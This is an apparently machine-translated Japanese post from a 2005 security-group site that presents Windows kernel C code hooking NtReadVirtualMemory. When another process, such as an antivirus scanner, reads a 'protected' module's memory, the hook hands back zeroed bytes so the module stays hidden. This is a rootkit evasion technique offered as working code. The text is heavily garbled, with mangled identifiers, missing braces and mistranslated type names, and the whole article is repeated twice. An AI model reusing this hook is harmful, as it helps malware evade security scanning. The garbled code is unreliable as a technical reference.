アンチウイルスソフトのメモリスキャン
Author: Polymorphours
メール: [email protected]
Homepage:http://www.whitecell.org
Date: 2005-11-17
//*++ Author: PolymorphoursDate: 2005/1/10通过对 Nt ReadVirtual Memory フックは、他のプロセスが保護モジュールをスキャンしないようにします。他のプロセスが保護モジュールのメモリを読んでいると、0--*/typedefに戻ります。 struct _LDR_DATA_TABLE_ENTRY {ラスト.ENTRY InLoadOrder Linksラスト.ENTRY InMemoryOrderLinks;ラスト.ENTRY InitializationOrderLinks;PVOID ドラベースPVOID EntryPoint;ULONG SizOfImageユニコーンSTRING FuldllName;ユニコーンSTRING BaseDllName;/*+0 x 034 Flags : Uint 4 B+0 x 038 LoadCount : U int 2 B+0 x 03 a TlsIndex : U int 2 B+0 x 03 c HashLinks : _ラスト.ENTRY+0 x 03 c セレクション?Pointer : Ptr 32 Void+0 x 040 CheckSum : Uint 4 B+0 x 044 TimeDateStation : Uint 4 B+0 x 044 LoadedImports : Ptr 32 Void+0 x 048 EntryPointActivation Context : Ptr 32 Void+0 x 04 c Patch Information : Ptr 32 Void*/} LDR_DATA_TABLE_ENTRY *PLDR_DATA_TABLE_ENTRY;/*++関数名: MyNtReadVirtual Memoryパラメータ:INHANDLEProcessHandle、INPVOIDBaseAddres、OUTVOID Buffer、INULONGBufferLength、OUTULONGReturn OPTIOAL機能:隠し保護モジュールのメモリが発見されたら、このメモリにスキャンされたメモリがあれば、暗号化されたデータのスキャンプロセスに戻ります。OUTTPVOIDBuffer、INULONGBufferLength、OUTULONGReturn Length OPTTIONAL){NTSTATU Sstatus;PEPROCESSeProcess;PVOIDPebPPEB_LDR_DATAPebLdrDataPLDR_DATA_TABLE_ENTRYLdrDatable HeadList;PLDR_DATA_TABLE_ENTRYLdrDatable Entry;PLIST_ENTRY Blink;PPROTECT_NODE FileNode = NULLBOOLEANbHidFlags = FALSE;ULONGImageMaxAddres = 0;/*嚔ifdef _DEBUGDbg Print( "コール Process: %s, BaseAddres: %08 x" PsGet ProcessImageFileName(
PsGet CurrrentProcess() ), BaseAddres );#endif*/status =ObReferenceObjectByHandle(ProcessHandle,FILE_READ_DATA、Ps Process Type、KernelMode、(PVOID)&eProcess、NULL);if ( NTうSUCCESS(status) ) {//// PEBのアドレス/Pebを取得します。 = (PVOID)(*(PULONG)(PCHAR)eProcess + PebOffset)///// ターゲットプロセスの空間に切り替えます。 e Process );//// PEBが有効かどうかを判断し、有効であれば、PEB構造を利用してプロセスロードされたモジュール///ifを準備する。 ( !MmIs Address Valid( Peb ) ) {/*#ifdef _DEBUGDbg Print( "PEB is error." );#endif*/KeDetachProcess()ObDereferenceObject( e Process );goto CLEANUP;PebLdrData = (PPEB_LDR_DATA)(*(PULONG)( (PCHAR)Peb + 0 xc ));if ( !PebLdrData ) {KeDetach Process()ObDereferenceObject( e Process );goto CLEANUP;try {ProbeForRead ( PebLdrData,sizeof(PEB_)LDR_DATA)、sizeof(ULONG);/// エルゴードモジュールチェーン/LdrDatable HeadList = (PLDR_DATA_TABLE_ENTRY)PebLdrData
->InLoadOrder ModuleList.Flink;LdrDatable Entry = LdrDatable HeadList;ド {ProbeForRead(LdrDatable Entry,sizeof(LDR_)DATA_TABLE_ENTRY、sizeof(ULONG);if ( !LdrDatable Entry->DllBase ) {LdrDatable Entry = (PLDR_DATA_TABLE_ENTRY)LdrDatable Entry
->InLoadOrder Links.Flink;continue;// 読んだメモリはどのモジュールに属するかを判断します。全部該当しないなら、見逃します。 = (ULONG)((ULONG)LdrDatable Entry->DllBase +
LdrDatable Enttry->SizOfImage;if ( (ULONG)( (ULONG)BaseAddress + BufferLength) <
(ULONG)LdrDatable Entry->DllBase || (ULONG)BaseAddress > ImageMaxAddress ) { // // モジュール領域でない場合は、次のリストを作成します。 //LdrDatable Entry = (PLDR_DATA_TABLE_ENTRY)LdrDatable Entry->
InLoadOrder Links.Flink;continue;// 保護されたモジュールであれば、虚偽のデータを返します。 = FALSE;Blink = Protect File.Blinkwhile ( Blink != &ProtectFile ) {FileNode = CONTAINING_RECORD( Blink、 PROTECT_NODE Active Link );//// 現在のファイルが隠しリストに存在することが判明したら、隠しフラグを設定してそれを隠す/if ( wcsstr( FileNode->Protect Name、 Ldr
DataTable Entry->FulDllName.Buffer ) ) {bHidFlags = TRUEbreak;Blink = Blink->Blink;if ( bHidFlags ) {//// 元のプロセス空間に戻り処理を行います。ObDereferenceObject( e Process );ProbeForWrite;memset( Buffer、 0 x 00, BufferLength );ProbeForWrite(ReturnLength、sizeof(PULONG)、sizof(ULONG);*ReturnLength = BufferLengthreturn STATU_SUCCESS;LdrDatable Entry = (PLDR_DATA_TABLE_ENTRY)LdrDatable Entry
->InLoadOrder Links.Flink; while ( LdrDatable Entry != LdrDatable HeadList );} except( EXCEPTION_EXECUTE_HANDLER ) {if ( !bHidFlags ) {KeDetach Process()ObDereferenceObject( e Process );}goto CLEANUP;KeDetach Process()ObDereferenceObject( e Process );}CLEANUP:return Nt ReadVirtual Memory(ProcessHandle,BaseAddres,Buffer,BufferLength,ReturnLength);
WSS(Whiteecell) Security Systems)は、非営利民間技術組織であり、各種システム安全技術の研究に力を入れています。伝統的なハッカー精神を堅持し、技術の精確さを追求する。
WSS ホームページ:http://www.whitecell.org/
WSS フォーラム:http://www.whitecell.org/forums/
メール: [email protected]
Homepage:http://www.whitecell.org
Date: 2005-11-17
//*++ Author: PolymorphoursDate: 2005/1/10通过对 Nt ReadVirtual Memory フックは、他のプロセスが保護モジュールをスキャンしないようにします。他のプロセスが保護モジュールのメモリを読んでいると、0--*/typedefに戻ります。 struct _LDR_DATA_TABLE_ENTRY {ラスト.ENTRY InLoadOrder Linksラスト.ENTRY InMemoryOrderLinks;ラスト.ENTRY InitializationOrderLinks;PVOID ドラベースPVOID EntryPoint;ULONG SizOfImageユニコーンSTRING FuldllName;ユニコーンSTRING BaseDllName;/*+0 x 034 Flags : Uint 4 B+0 x 038 LoadCount : U int 2 B+0 x 03 a TlsIndex : U int 2 B+0 x 03 c HashLinks : _ラスト.ENTRY+0 x 03 c セレクション?Pointer : Ptr 32 Void+0 x 040 CheckSum : Uint 4 B+0 x 044 TimeDateStation : Uint 4 B+0 x 044 LoadedImports : Ptr 32 Void+0 x 048 EntryPointActivation Context : Ptr 32 Void+0 x 04 c Patch Information : Ptr 32 Void*/} LDR_DATA_TABLE_ENTRY *PLDR_DATA_TABLE_ENTRY;/*++関数名: MyNtReadVirtual Memoryパラメータ:INHANDLEProcessHandle、INPVOIDBaseAddres、OUTVOID Buffer、INULONGBufferLength、OUTULONGReturn OPTIOAL機能:隠し保護モジュールのメモリが発見されたら、このメモリにスキャンされたメモリがあれば、暗号化されたデータのスキャンプロセスに戻ります。OUTTPVOIDBuffer、INULONGBufferLength、OUTULONGReturn Length OPTTIONAL){NTSTATU Sstatus;PEPROCESSeProcess;PVOIDPebPPEB_LDR_DATAPebLdrDataPLDR_DATA_TABLE_ENTRYLdrDatable HeadList;PLDR_DATA_TABLE_ENTRYLdrDatable Entry;PLIST_ENTRY Blink;PPROTECT_NODE FileNode = NULLBOOLEANbHidFlags = FALSE;ULONGImageMaxAddres = 0;/*嚔ifdef _DEBUGDbg Print( "コール Process: %s, BaseAddres: %08 x" PsGet ProcessImageFileName(
PsGet CurrrentProcess() ), BaseAddres );#endif*/status =ObReferenceObjectByHandle(ProcessHandle,FILE_READ_DATA、Ps Process Type、KernelMode、(PVOID)&eProcess、NULL);if ( NTうSUCCESS(status) ) {//// PEBのアドレス/Pebを取得します。 = (PVOID)(*(PULONG)(PCHAR)eProcess + PebOffset)///// ターゲットプロセスの空間に切り替えます。 e Process );//// PEBが有効かどうかを判断し、有効であれば、PEB構造を利用してプロセスロードされたモジュール///ifを準備する。 ( !MmIs Address Valid( Peb ) ) {/*#ifdef _DEBUGDbg Print( "PEB is error." );#endif*/KeDetachProcess()ObDereferenceObject( e Process );goto CLEANUP;PebLdrData = (PPEB_LDR_DATA)(*(PULONG)( (PCHAR)Peb + 0 xc ));if ( !PebLdrData ) {KeDetach Process()ObDereferenceObject( e Process );goto CLEANUP;try {ProbeForRead ( PebLdrData,sizeof(PEB_)LDR_DATA)、sizeof(ULONG);/// エルゴードモジュールチェーン/LdrDatable HeadList = (PLDR_DATA_TABLE_ENTRY)PebLdrData
->InLoadOrder ModuleList.Flink;LdrDatable Entry = LdrDatable HeadList;ド {ProbeForRead(LdrDatable Entry,sizeof(LDR_)DATA_TABLE_ENTRY、sizeof(ULONG);if ( !LdrDatable Entry->DllBase ) {LdrDatable Entry = (PLDR_DATA_TABLE_ENTRY)LdrDatable Entry
->InLoadOrder Links.Flink;continue;// 読んだメモリはどのモジュールに属するかを判断します。全部該当しないなら、見逃します。 = (ULONG)((ULONG)LdrDatable Entry->DllBase +
LdrDatable Enttry->SizOfImage;if ( (ULONG)( (ULONG)BaseAddress + BufferLength) <
(ULONG)LdrDatable Entry->DllBase || (ULONG)BaseAddress > ImageMaxAddress ) { // // モジュール領域でない場合は、次のリストを作成します。 //LdrDatable Entry = (PLDR_DATA_TABLE_ENTRY)LdrDatable Entry->
InLoadOrder Links.Flink;continue;// 保護されたモジュールであれば、虚偽のデータを返します。 = FALSE;Blink = Protect File.Blinkwhile ( Blink != &ProtectFile ) {FileNode = CONTAINING_RECORD( Blink、 PROTECT_NODE Active Link );//// 現在のファイルが隠しリストに存在することが判明したら、隠しフラグを設定してそれを隠す/if ( wcsstr( FileNode->Protect Name、 Ldr
DataTable Entry->FulDllName.Buffer ) ) {bHidFlags = TRUEbreak;Blink = Blink->Blink;if ( bHidFlags ) {//// 元のプロセス空間に戻り処理を行います。ObDereferenceObject( e Process );ProbeForWrite;memset( Buffer、 0 x 00, BufferLength );ProbeForWrite(ReturnLength、sizeof(PULONG)、sizof(ULONG);*ReturnLength = BufferLengthreturn STATU_SUCCESS;LdrDatable Entry = (PLDR_DATA_TABLE_ENTRY)LdrDatable Entry
->InLoadOrder Links.Flink; while ( LdrDatable Entry != LdrDatable HeadList );} except( EXCEPTION_EXECUTE_HANDLER ) {if ( !bHidFlags ) {KeDetach Process()ObDereferenceObject( e Process );}goto CLEANUP;KeDetach Process()ObDereferenceObject( e Process );}CLEANUP:return Nt ReadVirtual Memory(ProcessHandle,BaseAddres,Buffer,BufferLength,ReturnLength);
WSS(Whiteecell) Security Systems)は、非営利民間技術組織であり、各種システム安全技術の研究に力を入れています。伝統的なハッカー精神を堅持し、技術の精確さを追求する。
WSS ホームページ:http://www.whitecell.org/
WSS フォーラム:http://www.whitecell.org/forums/